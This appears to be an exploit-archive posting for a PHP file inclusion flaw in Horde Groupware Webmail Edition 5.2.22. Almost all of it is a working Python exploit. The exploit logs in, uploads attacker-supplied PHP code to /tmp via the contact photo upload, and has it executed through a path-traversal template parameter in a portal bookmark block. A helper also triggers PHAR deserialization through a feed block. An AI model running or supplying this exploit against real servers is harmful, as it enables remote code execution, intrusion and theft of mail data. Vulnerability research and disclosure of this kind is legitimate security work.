Horde Groupware Webmail Edition 5.2.22 PHP File Inclusion

Horde Groupware Webmail Edition version 5.2.22 suffers from a PHP file inclusion vulnerability.


MD5 | d2b595c8544f4d3d4cd3488e79c4933d

## exploit-inc-inclusion.py
#!/usr/bin/env python3
from horde import Horde
import subprocess
import sys

TEMP_DIR = '/tmp'

if len(sys.argv) < 5:
print('Usage: <base_url> <username> <password> <filename> <php_code>')
sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
filename = sys.argv[4]
php_code = sys.argv[5]

# log into the web application
horde = Horde(base_url, username, password)

# upload (delete manually) and evaluate the .inc file
horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))
horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))
## exploit-inc-inclusion.py EOF



## horde.py
import re
import requests

class Horde():
def __init__(self, base_url, username, password):
self.base_url = base_url
self.username = username
self.password = password
self.session = requests.session()
self.token = None
self._login()

def _login(self):
url = '{}/login.php'.format(self.base_url)
data = {
'login_post': 1,
'horde_user': self.username,
'horde_pass': self.password
}
response = self.session.post(url, data=data)
token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
assert (
len(response.history) == 1 and
response.history[0].status_code == 302 and
response.history[0].headers['location'] == '/services/portal/' and
token_match
), 'Cannot log in'
self.token = token_match.group(1)

def upload_to_tmp(self, filename, data):
url = '{}/turba/add.php'.format(self.base_url)
files = {
'object[photo][img][file]': (None, filename),
'object[photo][new]': ('x', data)
}
response = self.session.post(url, files=files)
assert response.status_code == 200, 'Cannot upload the file to tmp'

def include_remote_inc_file(self, path):
# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
app = 'trean:trean_Block_Bookmarks'

# add one dummy bookmark (to be sure)
url = '{}/trean/add.php'.format(self.base_url)
data = {
'actionID': 'add_bookmark',
'url': 'x'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark'

# add bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark block'

# edit bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[template]': '../../../../../../../../../../../' + path
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the bookmark block'

# evaluate the remote file
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)
print(response.text)

# remove the bookmark block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the bookmark block'

def trigger_phar(self, path):
# vulnerable block (alternatively the same can be obtained by creating a
# bookmark with the PHAR path and clocking on it)
app = 'horde:horde_Block_Feed'

# add syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the syndicated feed block'

# edit syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[uri]': 'phar://{}'.format(path)
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the syndicated feed block'

# load the PHAR archive
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)

# remove the syndicated feed block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the syndicated feed block'
## horde.py EOF

Related Posts